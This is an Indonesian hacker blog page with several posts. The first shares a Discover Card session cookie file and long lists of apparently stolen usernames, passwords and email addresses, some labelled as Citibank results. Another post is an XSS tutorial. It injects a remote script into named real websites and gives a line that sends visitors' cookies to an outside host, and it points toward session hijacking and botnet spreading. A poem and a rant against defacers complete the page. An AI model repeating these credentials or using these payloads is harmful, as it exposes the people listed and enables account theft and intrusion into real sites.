_____  __     _____  ___    _____  ___    _____  _____  _____  _____  _____  _____    _____  _____    ____   _____  _ _ _  _____ 
|   __||  |   |  |  ||_  |  |   | || | |  |   __||   __|| __  ||  |  ||   __|| __  |  |     ||   __|  |    \ |     || | | ||   | |
|   __||  |__ |  |  | _| |_ | | | ||_  |  |__   ||   __||    -||  |  ||   __||    -|  |-   -||__   |  |  |  ||  |  || | | || | | |
|_____||_____| \___/ |_____||_|___|  |_|  |_____||_____||__|__| \___/ |_____||__|__|  |_____||_____|  |____/ |_____||_____||_|___|
               I DONT WANT TO BE FAME , I DONT WANT TO BE ANY EZINE , I JUST WANT TO SHARE KNOWLEDGE 

	 						
							                                  , ----.       ~ Fuck full-disclosure
							                              -  -     `        ~ Fuck the security industry
							                        ,__.,'           \      ~ Keep 0days private
							                      .'                 *`     ~ Hack everyone you can and then hack some more
							                     /       |   |     / **\    ~ Blend in.
							                    .                 / ****.   ~ Get trusted.
							                    |    mm           | ****|   ~ Trust no one.
							                     \                | ****|   ~ Own everyone.
							                      ` ._______      \ ****/   ~ Disclose nothing.
							                               \      /`---'    ~ Destroy everything.
							                                 \___(          ~ Take back the scene
							                                 /~~~~\         ~ Never sell out, never surrender.
							                                /      \        ~ Get in as anonymous, Leave with no trace.
							                               /      | \       ~ This your Fucking IP 
							                              |       |  \      ~ This your Fucking ISP  
							                    , ~~ .    |, ~~ . |  |\     ~ FUCK OFF I've got enough friends !!!!
							                   ( |||| )   ( |||| )(,,,)`    
							                  ( |||||| )-( |||||| )    | ^
							                  ( |||||| ) ( |||||| )    |'/
							                  ( |||||| )-( |||||| )___,'-
							                   ( |||| )   ( |||| )
							                    ` ~~ '     ` ~~ '











 



    

      
[ Blog ]

      
      
[ History ]

    

    

      

      







Discover Bank login dan citibank

nih login discover

bukanya pake SOAN yah cari di google

secure online account number

atau langsung kesini aja

https://deskshop.discovercard.com/thincard/main_thinclient.html 





# Netscape HTTP Cookie File
# http://curl.haxx.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

.discovercard.com    TRUE    /    FALSE    1582122480    v1st    9AF2DEA1601913E1
www.discovercard.com    FALSE    /    FALSE    0    JSESSIONID    0001_A77vKhqLz5oVIguknk_wWx:1742ghb3o
www.discovercard.com    FALSE    /    TRUE    1417127621    VAR_VIEW    CLS
www.discovercard.com    FALSE    /    FALSE    0    TS7b9fc8    4e54067e0bd389bb2d081fe09bcc75e89f91b160ea2583845296734560ac0ec5a3bdec6f22975f62143c180322975f62143c180322975f62143c180322975f62143c180322975f62143c180322975f62143c180322975f62143c180322975f62143c1803
.discovercard.com    TRUE    /    FALSE    0    TSbe967e    290601cabf21a1db344b27a3c464b5b69f91b160ea258384529673457536793840de9345
.www.discovercard.com    TRUE    /    FALSE    0    DCID    www22



nih hasilnya



amberdevir - juggernaut66 - amberdevir@yahoo.com
TurinThalion - 99ninjas - AirAgorne@aol.com
andrewjacob - michelle - andrewjacobart@hotmail.com
kotkinshap - pacifica - niels.salien@gmail.com
luinverse - 99pewemolu - inverse@elp.rr.com
mad_cow - domination - jibitterman@yahoo.com
cbhero - paul96 - camerbri@gaggle.net
planck - planck21 - planck.planck@gmail.com
sandnumberone - panpan - sandnumberone@gmail.com
insipid - forge1 - nsipid@gmail.com
Voska - faderx34 - devonvg@gmail.com
dgood42 - kotor321 - shamoblue2@yahoo.com
ravenriser - grove099 - riser@elp.rr.com
bakert - sleague - bakert@gmail.com
raijinnfury - ratificks - freddyhome@gmail.com
SageShadows - 56586421193 - petguy1993@yahoo.com
Helghast - Samaris - helghast00@hotmail.com
Teythlis - Veydris - helghast00@hotmail.com
mightyie - corona - hjhome@live.com
WWharton - damian92 - Will.Wharton@gmail.com
leprechaun1066 - unrealtournament - leprechaun1066@gmail.com
inqao - inq97ao - inqao@yahoo.com
Boatwrights - chuckles - Boatwrights@cableone.net
Counterpart0 - akki539 - Counterpart0@yahoo.com
Egamage - MTG30081276leo - macthelet@yahoo.com
SquirralMaster - gopher - skeet124@hotmail.com
TheHunter13 - papercut - thehunterb@sbcglobal.net
Navorus - springfield - Iceavenger87@gmail.com
blazer89 - dannisasaki1 - raymundohispano@hotmail.com
RAkdosMaN - iforgot - manuelelloko@hotmail.com
evilragnarok - kawaii - evilragnarok@hotmail.com
N3V3RS4YDIE - loserdemon - soul-reaperxx@hotmail.com
fantom - schmitzzy - fantom666_22@yahoo.com
nut15987 - firball - nut15987@gmail.com
Icy2k - ti2000 - icemaster@gmail.com
Merainethal - firingline - ironempire@hotmail.com
ainsi_la_nuit - levar1981 - ainsi.la.nuit@gmail.com
dman123isback - Dragon911 - dman123isback@yahoo.com
Henning - op23kl45 - henning@alpin.no
tenix101 - qazqaz11 - tenix25@hotmail.com
tobiasdon - saibot28 - hidoby@gmail.com
Finisher09 - gam3cub3 - Finisher09@gmail.com
Soucalibur - hcpr1520 - philippe_bsp@hotmial.com
ghoulkeeper - deckhelp - gameaddict_01@yahoo.com
Yaholo - coramdeo - yaholo22@gmail.com
smurphya - smackox4 - spmurphy313@yahoo.com
Shmeckt - tacobell - caglenator@gmail.com
Cameron2008 - forest76 - c_banchero@yahoo.com
wolfie - camelot - 02b.on.the.field@gmail.com
Tymons - 123456 - tymonsx@hotmail.com
blackknight - 12345ww - jhight@san.rr.com
webgimpy - duh12345 - gimpy@gimpyworld.org
Strings - seiken - ayeaye000@hotmail.com
Cherryl3omb22 - 091804jc - cherrybomb@comcast.net
Cherryl3omb - 091804jc - cherrybomb22@comcast.net
cooron - zipped - ronrosco@gmail.com
jammy - kkkk - kingshady45@hotmail.com
Freecandygetinvan - 17thunit - solideye@gmail.com
Aidiano - cariad12 - aidey-aidan@lycos.com
gracjan202 - Rositsa00 - gracjan202@hotmail.com
demarki - enigma - demarki81@gmail.com
MikOnYOU - 1998 - makkee@mail.ru
SlicedSilence - inuyasha - SlicedSilence@hotmail.com
Ewing4686 - mtg46 - Ewing4686@aol.com
peruzy - abc123 - paz-daniel@hotmail.com
LordBritish2 - Kenneth2 - LordBritish2@gmail.com
skar93 - shadow - jerk_warrenwe@hotmail.com
Ramirez - gerwayz - ebs_admin@silesianet.pl
ebs_ramirez - gerwayz - ebs.remek@gmail.com
airburned - nhtfnhtf - airburned@yahoo.com
r1sefromru1n - n0s0up4u - gamente@hotmail.com
Begeisterung - cezhky - caterpie@comcast.net
eltoy - keylogger123 - eltoy.-@hotmail.com
Kalack - jesusnow - schemaman@gmail.com
fred - chaos4all - fredbailey@gmail.com
just_add_bellum - t0talw4r - just.add.bellum@gmail.com
jsek - absolution - lukky_13xxx@yahoo.com
raidercillo - chusko55 - raidercillo@gmail.com
luknight - magicluk - lpsantacruz@hotmail.com
onatlagazo - yhubyjhane - onatlagazo@yahoo.com
cpenner4 - poi1poi - cpenner4@gmail.com
joeyjoebobjoebob - jofuss - joeyjoebobjoebob@hotmail.com 





############################

nah kalau citibank

bukanya sama VAN yah

virtual account number

 ############################





rs.gtp@anbros.com:ikonkar
prasadojha@hotmail.com:gurudev
geojos06@yahoo.com:786000
mariaalirana@gmail.com:alisaputri
bz_ti@yahoo.com:6anglz
zacharyzadeer000@yahoo.com:iloveyou
dprasu@gmail.com:mallika143
rj_nivas@yahoo.com:mahalakshmi
m12_krishnan@yahoo.com:mahalakshmi
info@emedtex.com:binasiraj1
ashas721@hotmail.com:ash123
bibhuti_bhusan_mishra@yahoo.co.in:pintu123
transdinesh@yahoo.com:ronaldo
wonderfulll_2006@yahoo.com:ronaldo
rshnpant@yahoo.com:14141414
info@packet-switch.com:whosthestar
avisek_chakrabarty@yahoo.com:anubis
Phonesworldltd01@yahoo.com:123456
npunkz_17@hotmail.com:123456
kaushik@transtek-solutions.com:baghaba
uniquelife@gmail.com:29101251
christina_meti2006@yahoo.com:123456
niraj_ti@yahoo.com:nsnsns
little_prem2007@yahoo.com:100100
sudipnepal05@yahoo.com:dhdhdh
ranzeetz@gmail.com:ktmrocker
masculineage@yahoo.com:556617
sarad86@gmail.com:saradbhai
ravimannapit@gmail.com:4491615
sarfaraz.mohammad@gmail.com:interior
alekseyzyra@gmail.com:gabriel11150





kaborrrr 
Labels: 



On 11/17/09 at 

6:59 AM





SUMPAH PALSU YANG TEROBATI


MANA BUNGA YANG SEMUA ORANG BILANG BERAIR DAN KINI MUSNAH KARENA SEBUAH LANGKAH DIMANA SEMUA MENJADIKANNYA HANCUR. SADAR AKAN BENCANA YANG AKAN TERJADI, TANGISAN YANG AKAN TERLEWATI…DIMANA SENYUMAN DAN SENTUHAN TANGAN KETIKA KU IKAT MATAKU DENGAN KAIN WALAUPUN MATAKU MASIH TETAP MELIHAT APA YANG SEDANG KU GERAKKAN.
SEBUAH SUMPAH SERAPAH…DAN SUMPAH YANG LAINNYA!!!
TUHAN YANG MENUNTUNKU BUKAN BENTUK SUATU JIWA YANG HANYA MENGGERAKAN SEMUA INI.
CINTA YANG KUBINASAKAN MENJADIKAN RAGAKU TAK UTUH
KARENA KUSADAR, NAMUN BARA ITU TERLALU SULIT UNTUK DIPADAMKAN…JAHILIYAHKAH INI…???
KETIKA SESEORANG MENGUCAPKAN SUMPAH UNTUK
MASA DEPAN NAMUN SUMPAH ITU MERUBAH WARNA KANVAS MENJADI BUTIRAN LILIN YANG MELELEH DAN MENGERAS….DIMANA TEMAN-TEMANKU KETIKA AKU MENULIS INI…BUKAN, BUKAN MEREKA YANG PERLU KUCARI NAMUN TUNJUK LEBIH DALAM DAN BERBICARA DIDALAM RAGAKU SENDIRI SEMENTARA OTAKKU SEDANG MENYAKSIKAN DAN MENTERTAWAKAN SETIAP DETIK, LANGKAH, SENYUMAN, IRI, MAKSUD PERJALANAN INI.
….ha…ha….Ha….HAAAAAA…SEMAKIN MEMBESAR NADA TAWA ITU SEHINGGA AKU HANYA DAPAT BERBICARA DENGAN RAGAKU…..siapa? Siapa itu ? KATAKU, INIKAH USAHAKU UNTUK MELARIKAN DIRI, MELARIKAN DIRI DARI SEMUA MASALAH YANG TERAMAT SANGAT BESAR DAN KULUDAHKAN SEENAKNYA. JURANG PEMISAH ANTARA KASIH SAYANG DAN HARAPAN SEHINGGA INI MENJADI TAK BERATURAN DAN KUBERJALAN MELENGGOK-LENGGOK SEENAKNYA.

SIAPA…SIAPA LAGI YANG AKAN TERSAKITI…SIAPA…SIAPA???
SEBUAH KALIMAT DALAM WAKTU LIMA DETIK YANG MEMBUATKU TERTEGUN DAN MERASAKAN SULITNYA UNTUK MENGGERAKAN SELURUH TUBUHKU….HANYA HITLER ATAU IDIYAMIN YANG BISA MENUNJUK LANGKAH SELANJUTNYA UNTUK PERTANYAAN TERSEBUT. TIDAK UNTUKKU, APA YANG KURASAKAN SETELAH PERTANYAAN ITU TERUCAP MEMBUAT SEMUA TERASA HINA DAN HARAM APAKAH MENJADI SEORANG PENGECUT ??? BUKAN…AKU BUKAN SURI TAULADAN HA….HA…OTAKKU BERUSAHA MENYATU KEMBALI AKHIRNYA AKU ACUNGKAN JARI TENGAHKU UNTUK ITU KARENA OTAKKU BERORASI, DOA DAN MELANGKAHLAH KARENA JALAN ITU AKAN TETAP MENUNTUNMU MENUJU KEBAHAGIAAN, KEHORMATAN, CACIAN, SANJUNGAN, DAN KEMATIAN!!!!! WHAT THE F**K BUKANKAH ITU AKU DIMATA SEMUA…..MULAI SAAT INI AKU BERJANJI AKAN MEMPERBAIKI ITU SEMUA MESKIPUN BANYAK KOTORAN MANUSIA DIHADAPANKU…..BERDIRI KARENA AKU YAKIN BUNGA YANG HANCUR ITU BISA KUTANAM KEMBALI DAN SEMUA ORANG BILANG KALAU ITU INDAH.
BIAR SEMUA BINASA SELAMA BUNGA INI TETAP HIDUP MENJADI BUKTI AKU BERUSAHA.


Labels: 



On 6/7/09 at 

8:56 AM





Thnx Mr.x

yuk kita belajar xss

soalnya ada yang request tutor buat XSS

pada rewel biasa , minta share ini itu  maksa banget yaudah vina share deh

tapi maaf kalau tutor nya masih berantakan , soalnya masih sama" belajar

oke . kita ke XSS

da banyak cara yang bisa di lakukan jika kalian mempunyai target yang memiliki vulner xss

hal utama dari xss adalah ,pengambilan cookies + trace back attacker dan phising

ok disini vina akan sedikit jelaskan tentang polanya , sorry cuma sedikit , vina lagi sakit , jadi ga mood klo mikir . kok vina lagi sakit ga ada yang tengok yah T_T

ok deh sekarang ga usah banyak ngomong lagi ,

mulai dari konsep serangan trace back and steal cookies :P

pertama copy paste script trace back and steal cookies ini

http://elvina.cc/trace.txt

save dalam bentuk php

ok lanjut, sekarang vina ambil contoh target , ini

http://libraryphoto.cr.usgs.gov/cgi-bin/search.cgi?search_mode=noPunct&selection=xss

ok , sekarang lanjut untuk menginjeksi di dalam url target,

<####SCRIPT ="VXCS" SRC="http://www.tni.mil.id/images/front/damn.php"></####SCRIPT>


nah target menjadi 



http://libraryphoto.cr.usgs.gov/cgi-bin/search.cgi?search_mode=noPunct&selection=%3CSCRIPT%20=%22XSS%22%20SRC=%22http://www.tni.mil.id/images/front/damn.php%22%3E%3C/SCRIPT%3E



ok lalu jika ada orang yang mengclick halaman tersebut , atau 
scriptkidd0z . maka kita dapat menjejaki si attacker ,
heuehue :P mungkin bilamana si attacker tidak mengclears cookies saat dia 
membuka layanan webchat media, maka cookies akan terekam juga disana.



kita bisa lihat di sini 

http://www.tni.mil.id/images/front/log.txt



-> selanjut nya kreasikan sendiri, ^_^



-> ok sekarang lanjut ke pengambilan cookies dalam target 



pertama seperti biasa , save code ini 



########location.href = 'http://www.indonesianhacker.org'+document.cookie;######## 



pengambilan sessionid  bisa saja terjadi bilamana admin web target tidak mendisable ASP Session State, maka ketika kita meninjeksi dengan cara xss steal cookies . 



live demo 

http://www.honda.co.il/search/search.asp?SearchParam=




setelah kita mengetahui sessionidnya , ok kalian bisa kembangkan pola 
serangan , dengan session fixation attack ^_^ , 



https://addons.mozilla.org/en-US/firefox/addon/6683



fire cookies 


https://addons.mozilla.org/en-US/firefox/addon/1843



firebugs

catatan untuk script 
*hilangkan tanda #### 


atau kalian bisa memanfaatkan XSS sebagai alat untuk menyerang komputer orang lain / botnet 

nah pengen tau yah caranya gimana xss bisa menjadi alat untuk spread botnet :P bisa logger"an loh . atau bisa melakukan sekaligus teknik BOF ( buffer overflow ) ke komputer target , clue nya ya kalian harus ngerti dulu tentang IIS dong yang pasti nya , gimana cara add user + kalian mesti punya server sendiri , bisa gunakan dedicated server atau rubah pc km menjadi server localhost untuk penyimpanan db victim yg kita peroleh dari xss

serius nih pengen tahu ? kontak aja vina kalau mau tau 
Labels: 



On 5/5/09 at 

12:56 AM





Apakah mereka jagoan ?

apa yang mereka fikirkan ketika mereka menyusup masuk ke dalam system configurasi situs yang seharusnya mereka tidak memiliki hak akses tersebut ?
ketika mereka sudah dalam berada dalam system, mereka berfikir " akulah jagoan, penguasa system victim" dan apalah persetan dengan bualan omongannya.
mereka sengaja menganti index.php setiap directorynya, mendaur ulang dengan system error page, mengambil data" baik menghapus data" .
mereka tidak pernah berfikir jika sang admin victim web tersebut  harus beusaha keras lagi untuk mengganti security dan memperbaiki setiap halaman yang telah di injak injak oleh penguasa system yang sok jagoan. sang attacker hanya meninggalkan sebuah coretan" yang tidak bermanfaat bagi sang admin . mereka kadang suka meninggalkan pesan error " THIS SITE HAVE BEEN OWNED BY bla..bla..bla..  " <-- artian kata itu sangat arogan sekali , mereka seperti sudah mengetahui unsur" kelemahan victim web tersebut.
mereka menyimpan namanya untuk di sombongkan kepada teman" nya.
:)
dan alhasil nama" mereka tercantum di berkas google ataupun search engine lainnya.
mereka bangga dengan nama" nya.
selidik ku selidik aku berjelajah ke google untuk mencari nama" hacker tersebut.
dan ternyata aku menemukan celah keamanan mereka.
ternyata mereka sendiri tidak bisa menutup celah kekurangan dirisendiri.
foto,alamat,nama,no tlpn,email aku dapatkan dari hasil pencarianku di google.
ternyata mereka dulu sering mejeng" di forum atau media webchat seperti : friendster,facebook,myspace , dan yang lainnya.
secara terang - terangan mereka perlihatkan wajah aslinya,
mereka tidak pernah tau suatu saat mereka akan dicari dan tuntut untuk mengganti semua kerugian beberapa situs yang telah mereka injak injak .
secara mayoritas mereka lahir dari golongan media webchat.
wah wah .
gimana yah klo aku laporkan kepada pihak yang berwajib :)
semua keterangan" mereka .


mengapa aku menulis pesan seperti itu .
karena aku adalah salah satu korban dari mereka.
tapi aku bersyukur situs saya mereka kuasai karena mereka masih peduli denga situs saya yang sangat usang :)

s
Labels: 



On 2/25/09 at 

12:33 PM






      




My Profile:

      
      


        


Biography:




short story:


      




      

      

      
      
[ Friends Link ]

      
      
[ chat with me ]


      

      

      

      

      




      












            		
      

    

      
      
[ archives ]

      

      
[ Notices ]


    

    

      

      


By title


Discover Bank login dan citibank




SUMPAH PALSU YANG TEROBATI




Thnx Mr.x




Apakah mereka jagoan ?



By month

2002.03

2002.12

2005.12

2008.11

2009.02

2009.03

2009.04

2009.05

2009.06

2009.07

2009.08

2009.09

2009.10

2009.11

2009.12

2010.01

2010.03


		
	





			
		
		
				

      
      





       

    


  

  





  

  

    


      
      
elv1n4 Themes  v2.0.0  © 2009 by elv1n4 


    

  

www[dot]elv1n4.anti-sec[dot]org